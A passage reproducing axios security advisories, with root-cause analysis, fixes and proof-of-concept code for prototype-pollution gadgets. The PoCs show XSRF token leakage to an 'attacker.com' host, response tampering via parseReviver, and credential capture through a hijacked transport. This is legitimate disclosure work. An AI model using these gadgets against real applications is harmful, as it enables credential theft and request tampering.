non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker. **Severity:** Medium (CVSS 5.4) **Affected Versions:** All versions since `withXSRFToken` was introduced **Vulnerable Component:** `lib/helpers/resolveConfig.js:59` **Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true) ##### CWE - **CWE-201:** Insertion of Sensitive Information Into Sent Data - **CWE-183:** Permissive List of Allowed Inputs ##### CVSS 3.1 **Score: 5.4 (Medium)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact | ##### Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input** when triggered via prototype pollution. If an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `"true"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination. ##### Vulnerable Code **File:** `lib/helpers/resolveConfig.js`, lines 57-66 ```javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); // Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } ``` **Designed behavior:** - `true` → always send token (explicit cross-origin opt-in) - `false` → never send token - `undefined` → send only for same-origin requests **Actual behavior for non-boolean truthy values (`1`, `"false"`, `{}`, `[]`):** - All treated as truthy → same-origin check skipped → token sent everywhere ##### Proof of Concept ```javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1; // In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers ``` ##### Verified PoC Output ``` withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited) ``` ##### Impact Analysis - **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application - **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application - **Misconfiguration Risk:** Developer writing `withXSRFToken: "false"` (string) instead of `false` (boolean) triggers the same issue without PP **Limitations:** - Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token ##### Recommended Fix Use strict boolean comparison: ```javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url)); if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } ``` ##### Resources - [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html) - [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [Axios GitHub Repository](https://github.com/axios/axios) ##### Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory | #### Severity - CVSS Score: 5.4 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c](https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42042](https://nvd.nist.gov/vuln/detail/CVE-2026-42042) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xx6v-rp6x-q39c) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Header Injection via Prototype Pollution [CVE-2026-42035](https://nvd.nist.gov/vuln/detail/CVE-2026-42035) / [GHSA-6chq-wfr3-2hj9](https://github.com/advisories/GHSA-6chq-wfr3-2hj9) <details> <summary>More information</summary> #### Details ##### Summary A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request. The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget. Prerequisites: A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios. The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH). ##### Details The vulnerability is in `lib/adapters/http.js`, in the data serialization pipeline: ```javascript // lib/adapters/http.js } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { headers.set(data.getHeaders()); // ... } ``` Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution: **1. `utils.isFormData(data)` — `lib/utils.js`** ```javascript const isFormData = (thing) => { let kind; return thing && ( (typeof FormData === 'function' && thing instanceof FormData) || ( isFunction(thing.append) && ( (kind = kindOf(thing)) === 'formdata' || (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') ) ) ) } ``` **2. `utils.isFunction(data.getHeaders)` — Duck-type for `form-data` npm package** ```javascript // Returns true if Object.prototype.getHeaders is a function utils.isFunction(data.getHeaders) ``` ##### PoC ```javascript // Simulate Prototype Pollution Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = () => {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); (.... Introduce here all the headers you want ....) return headers; }; Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; }; Object.prototype.on = function() { return this; }; Object.prototype.once = function() { return this; }; // Legitimate application code const response = await axios.post('https://internal-api.company.com/admin/delete', { userId: 42 }, { headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } } ); ``` ##### Impact - Authentication Bypass (CVSS: C:H) - Session Fixation (CVSS: I:H) - Privilege Escalation (CVSS: C:H, I:H) - IP Spoofing / WAF Bypass (CVSS: I:H) **Note on Scope**: There is an argument to promote this from **S:U to S:C** (Scope: Changed), which would raise the score to **10.0**. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (`Authorization`, `X-Role`, `X-User-ID`, `X-Tenant-ID`) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here. ##### Recommended Fix Add an explicit own-property check in `lib/adapters/http.js`: ```diff - } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) { - headers.set(data.getHeaders()); + } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) && + Object.prototype.hasOwnProperty.call(data, 'getHeaders')) { + headers.set(data.getHeaders()); ``` #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9](https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42035](https://nvd.nist.gov/vuln/detail/CVE-2026-42035) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking [CVE-2026-42033](https://nvd.nist.gov/vuln/detail/CVE-2026-42033) / [GHSA-pf86-5x62-jrwf](https://github.com/advisories/GHSA-pf86-5x62-jrwf) <details> <summary>More information</summary> #### Details ##### Summary When `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently. --- ##### Background: how mergeConfig builds the config object Every axios request goes through `Axios._request` in [`lib/core/Axios.js#L76`](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L76): ```js config = mergeConfig(this.defaults, config); ``` Inside `mergeConfig`, the merged config is built as a plain `{}` object ([`lib/core/mergeConfig.js#L20`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L20)): ```js const config = {}; ``` A plain `{}` inherits from `Object.prototype`. `mergeConfig` only iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)), which is a spread of own properties. Any key that is absent from both `this.defaults` and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to `Object.prototype`. That is the root mechanism behind all gadgets below. --- ##### Gadget 1: parseReviver -- response tampering and exfiltration **Introduced in:** v1.12.0 (commit 2a97634, PR #​5926) **Affected range:** >= 1.12.0, <= 1.13.6 ##### Root cause The default `transformResponse` function calls [`JSON.parse(data, this.parseReviver)`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124): ```js return JSON.parse(data, this.parseReviver); ``` `this` is the merged config. `parseReviver` is not present in `defaults` and is not in the `mergeMap` inside `mergeConfig`. It is never set as an own property on the merged config. Accessing `this.parseReviver` therefore walks the prototype chain. The call fires by default on every string response body because [`lib/defaults/transitional.js#L5`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/transitional.js#L5) sets: ```js forcedJSONParsing: true, ``` which activates the JSON parse path unconditionally when `responseType` is unset. `JSON.parse(text, reviver)` calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values. There is no interaction with `assertOptions` here. The `assertOptions` call in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) iterates `Object.keys(config)`, and since `parseReviver` was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before `transformResponse` does. ##### Verification: own-property check ```js import { createRequire } from 'module'; const require = createRequire(import.meta.url); const mergeConfig = require('./lib/core/mergeConfig.js').default; const defaults = require('./lib/defaults/index.js').default; const merged = mergeConfig(defaults, { url: '/test', method: 'get' }); console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false console.log(merged.parseReviver); // undefined (no pollution) Object.prototype.parseReviver = function(k, v) { return v; }; console.log(merged.parseReviver); // [Function (anonymous)] -- inherited delete Object.prototype.parseReviver; ``` ##### Proof of concept Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency. **Terminal 1 -- server (`server_gadget1.mjs`):** ```js import http from 'http'; const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' })); }); server.listen(19003, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19003'); }); ``` ``` $ node server_gadget1.mjs [server] listening on 127.0.0.1:19003 [server] request: GET / ``` **Terminal 2 -- client (`poc_parsereviver.mjs`):** ```js import axios from 'axios'; // Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via _.merge). // In a real application this would be set before any axios request runs. Object.prototype.parseReviver = function (key, value) { // Called for every key-value pair in every JSON response parsed by axios in this process. if (key !== '') { // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint. console.log('[exfil]', key, '=', JSON.stringify(value)); } // Tamper: escalate role, inflate balance. if (key === 'role') return 'admin'; if (key === 'balance') return 999999; return value; }; const res = await axios.get('http://127.0.0.1:19003/'); console.log('[app] received:', JSON.stringify(res.data)); delete Object.prototype.parseReviver; ``` ``` $ node poc_parsereviver.mjs [exfil] role = "user" [exfil] balance = 100 [exfil] token = "tok_real_abc" [app] received: {"role":"admin","balance":999999,"token":"tok_real_abc"} ``` The server sent `role: user`. The application received `role: admin`. The response is silently modified in place; no error is thrown, no log entry is produced. --- ##### Gadget 2: transport -- full HTTP request hijacking with credentials **Introduced in:** early adapter refactor, present across 0.x and 1.x **Affected range:** >= 0.19.0, <= 1.13.6 (Node.js http adapter only) ##### Root cause Inside the Node.js http adapter at [`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676): ```js if (config.transport) { transport = config.transport; } ``` `transport` is listed in `mergeMap` inside `mergeConfig` ([line 88](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L88)): ```js transport: defaultToConfig2, ``` but it is not present in [`lib/defaults/index.js`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js) at all. `mergeConfig` iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)). Since `config1` (the defaults) has no `transport` key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to `Object.prototype`. The fix in v1.13.5 (PR #​7369) added a `hasOwnProp` check for `mergeMap` access, but the iteration set itself is the issue -- `transport` simply never enters it. The fix does not address this. The transport interface is `{ request(options, handleResponseCallback) }`. The options object passed to `transport.request` at adapter runtime contains: - `options.hostname`, `options.port`, `options.path` -- full target URL - `options.auth` -- basic auth credentials in `"username:password"` form (set at [line 606](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L606)) - `options.headers` -- all request headers as a plain object ##### Proof of concept Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution. **Terminal 1 -- server (`server_gadget2.mjs`):** ```js import http from 'http'; const server = http.createServer((req, res) => { console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)'); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"ok":true}'); }); server.listen(19002, '127.0.0.1', () => { console.log('[server] listening on 127.0.0.1:19002'); }); ``` ``` $ node server_gadget2.mjs [server] listening on 127.0.0.1:19002 [server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg== ``` **Terminal 2 -- client (`poc_transport.mjs`):** ```js import axios from 'axios'; import http from 'http'; Object.prototype.transport = { request(options, handleResponse) { // Intercept: called for every outbound request in this process. console.log('[hijack] target:', options.hostname + ':' + options.port + options.path); console.log('[hijack] auth:', options.auth); console.log('[hijack] headers:', JSON.stringify(options.headers)); // Forward to the real transport so the caller sees a normal 200. return http.request(options, handleResponse); }, }; const res = await axios.get('http://127.0.0.1:19002/api/users', { auth: { username: 'svc_account', password: 'hunter2' }, }); console.log('[app] response status:', res.status); delete Object.prototype.transport; ``` ``` $ node poc_transport.mjs [hijack] target: 127.0.0.1:19002/api/users [hijack] auth: svc_account:hunter2 [hijack] headers: {"Accept":"application/json, text/plain, */*","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"} [app] response status: 200 ``` The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective. --- ##### Additional gadget: transformRequest / transformResponse Separately, `mergeConfig` reads `config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102) without a `hasOwnProperty` guard. For keys like `transformRequest` and `transformResponse` that are present in `defaults` (and therefore processed by the mergeMap loop), if `Object.prototype.transformRequest` is polluted before the request, `config2["transformRequest"]` inherits the polluted value and `defaultToConfig2` replaces the safe default transforms with the attacker's function. This one requires a discriminator because `assertOptions` in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) reads `schema[opt]` for every key in the merged config's own keys, and `schema["transformRequest"]` also inherits from `Object.prototype`, causing it to call the polluted value as a validator. The gadget function needs to return `true` when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the [`transformData`](https://github.com/axios/axios/blob/v1.13.6/lib/core/transformData.js#L22) call). Both `transformRequest` (fires with request body) and `transformResponse` (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6. --- ##### Why the existing fix does not cover these PR #​7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing `{"__proto__": {"x": 1}}` as the config object, which caused `mergeMap['__proto__']` to resolve to `Object.prototype` (a non-function), crashing axios. The fix added an explicit block on `__proto__`, `constructor`, and `prototype` as config keys, and changed `mergeMap[prop]` to `utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ...`. That fix only addresses config keys that are explicitly set to `__proto__` (or similar) by the caller. It does not add `hasOwnProperty` guards on the value reads (`config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102), `this.parseReviver`, `config.transport`). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6. --- ##### Suggested fixes For `parseReviver` ([`lib/defaults/index.js#L124`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124)): ```js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver); ``` For `mergeConfig` value reads ([`lib/core/mergeConfig.js#L102`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102)): ```js const configValue = merge( config1[prop], utils.hasOwnProp(config2, prop) ? config2[prop] : undefined, prop ); ``` For `transport` and other adapter reads from config ([`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676)): ```js if (utils.hasOwnProp(config, 'transport') && config.transport) { transport = config.transport; } ``` The same `hasOwnProp` pattern applies to `lookup`, `httpVersion`, `http2Options`, `family`, and `formSerializer` reads in the adapter. --- ##### Environment - axios: 1.13.6 - Node.js: 22.22.0 - OS: macOS 14 - Reproduction: confirmed in isolated test harness, both gadgets independently verified ##### Disclosure Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf](https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42033](https://nvd.nist.gov/vuln/detail/CVE-2026-42033) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-pf86-5x62-jrwf) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: HTTP adapter streamed responses bypass maxContentLength [CVE-2026-42036](https://nvd.nist.gov/vuln/detail/CVE-2026-42036) / [GHSA-vf2m-468p-8v99](https://github.com/advisories/GHSA-vf2m-468p-8v99) <details> <summary>More information</summary> #### Details ##### Summary When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption. ##### Details In lib/adapters/http.js: - 786-789: for responseType === 'stream', Axios immediately settles with the stream. - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch. So callers may set maxContentLength and still receive/read arbitrarily large streamed responses. ##### PoC Environment: - Axios main at commit f7a4ee2 - Node v24.2.0 Steps: 1. Start an HTTP server that returns a 2 MiB response body. 2. Call Axios with: - adapter: 'http' - responseType: 'stream' - maxContentLength: 1024 3. Read the returned stream fully. Observed: - Success; full 2097152 bytes readable. Control check: - Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded. ##### Impact Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99](https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42036](https://nvd.nist.gov/vuln/detail/CVE-2026-42036) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vf2m-468p-8v99) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0 [CVE-2026-42043](https://nvd.nist.gov/vuln/detail/CVE-2026-42043) / [GHSA-pmwg-cvhr-8vh7](https://github.com/advisories/GHSA-pmwg-cvhr-8vh7) <details> <summary>More information</summary> #### Details **1. Executive Summary** This report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library. **Background — The Original Vulnerability** The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy — even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services. The Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison. **The Incomplete Patch — This Finding** While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**. The patch introduced a hardcoded set of recognized loopback addresses: ``` // lib/helpers/shouldBypassProxy.js — Line 1 const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); ``` However, **RFC 1122 §3.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine. As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release. **Verification** This bypass has been **independently verified** on: * **Axios version:** 1.15.0 (latest patched release) * **Node.js version:** v22.16.0 * **OS:** Kali Linux (rolling) The Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space. **2. Deep-Dive: Technical Root Cause Analysis** **2.1 Vulnerable File & Location** | Field | Detail | | ------------- | ------------- | | File | lib/helpers/shouldBypassProxy.js| | Primary Flaw| isLoopback() — Line 1–3 | | Supporting Function | shouldBypassProxy() — Line 59–110 | | Axios Version | 1.15.0 (Latest Patched Release) | **2.2 How Axios Routes HTTP Requests The Call Chain** When Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy: ``` // lib/adapters/http.js — Lines 191–199 function setProxy(options, configProxy, location) { let proxy = configProxy; if (!proxy && proxy !== false) { const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var if (proxyUrl) { if (!shouldBypassProxy(location)) { // Step 2: Check NO_PROXY proxy = new URL(proxyUrl); // Step 3: Assign proxy } } } } ``` `shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently. **2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)** Before Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization: ``` Request URL → http://localhost./secret NO_PROXY → "localhost,127.0.0.1,::1" Comparison: "localhost." === "localhost" → FALSE → Proxy used ← BYPASS "[::1]" === "::1" → FALSE → Proxy used ← BYPASS ``` Both `localhost.` (FQDN trailing dot, RFC 1034 §3.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 §3.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts. **2.4 What the Patch Fixed (Axios 1.15.0)** The patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`: <img width="602" height="123" alt="01_axios_version_verification" src="https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5" /> **Fix A `normalizeNoProxyHost()` (Lines 47–57)** Strips alternate representations before comparison: ``` const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; // Remove IPv6 brackets: "[::1]" → "::1" if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') { hostname = hostname.slice(1, -1); } // Strip trailing FQDN dot: "localhost." → "localhost" return hostname.replace(/\.+$/, ''); }; ``` **Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)** Allows `127.0.0.1` and `localhost` to match each other interchangeably: ``` const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host); // Line 108 — Final match condition: return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // If both sides are "loopback" → treat as match ``` **Fix C Normalization Applied on Both Sides (Lines 81 & 90)** ``` // Request hostname normalized: const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase()); // Each NO_PROXY entry normalized: entryHost = normalizeNoProxyHost(entryHost); ``` **2.5 The Incomplete Patch Exact Root Cause** The fundamental flaw resides in Line 1: ``` // lib/helpers/shouldBypassProxy.js — Line 1 ← ROOT CAUSE const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); // ^^^^^^^^^^^ // Only ONE IPv4 loopback address is recognized. // The entire 127.0.0.0/8 subnet is unaccounted for. // Line 3 — Lookup against this incomplete set: const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host); // ^^^^^^^^^ // Returns FALSE for any 127.x.x.x ≠ 127.0.0.1 ``` <img width="884" height="135" alt="02_vulnerable_code_loopback_addresses" src="https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e" /> ***RFC 1122 §3.2.1.3 is unambiguous:** > "The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network." This means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected. <img width="884" height="537" alt="03_rfc1122_loopback_definition" src="https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0" /> **2.6 Step-by-Step Bypass Execution Trace** Environment: ``` NO_PROXY = "localhost,127.0.0.1,::1" HTTP_PROXY = "http://attacker-proxy:5300" Target URL = "http://127.0.0.2:9191/internal-api" ``` **Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):** ``` // Step 1 — Parse the request URL parsed = new URL("http://127.0.0.2:9191/internal-api") hostname = "127.0.0.2" // parsed.hostname // Step 2 — Read NO_PROXY environment variable noProxy = "localhost,127.0.0.1,::1" // lowercased // Step 3 — Normalize the request hostname hostname = normalizeNoProxyHost("127.0.0.2") // No brackets → skip // No trailing dot → skip // Result: "127.0.0.2" (unchanged) // Step 4 — Iterate over NO_PROXY entries // Entry → "localhost" entryHost = "localhost" "127.0.0.2" === "localhost" → false isLoopback("127.0.0.2") → false ← Set.has() returns false BYPASS starts here // 